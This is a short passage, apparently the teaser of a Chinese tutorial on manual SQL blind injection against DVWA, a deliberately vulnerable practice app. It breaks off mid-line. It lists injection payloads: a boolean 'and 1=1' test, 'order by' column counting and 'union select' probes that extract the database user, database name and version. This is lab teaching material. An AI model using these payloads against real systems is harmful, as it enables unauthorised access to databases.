WEB手動漏洞挖掘-SQL盲注（DVWA實戰）

select * from table_name where id = ’ 1’ and 1=1– ’ 在盲注裏至少要有一個正確的結果；不然不顯示； php 1'order by 5--+ 1'order by 3--+ 1'union select 1,2--+ 1'union select null,CONCAT_WS(CHAR(32,58.32),user(),database(),ver

>>阅读原文<<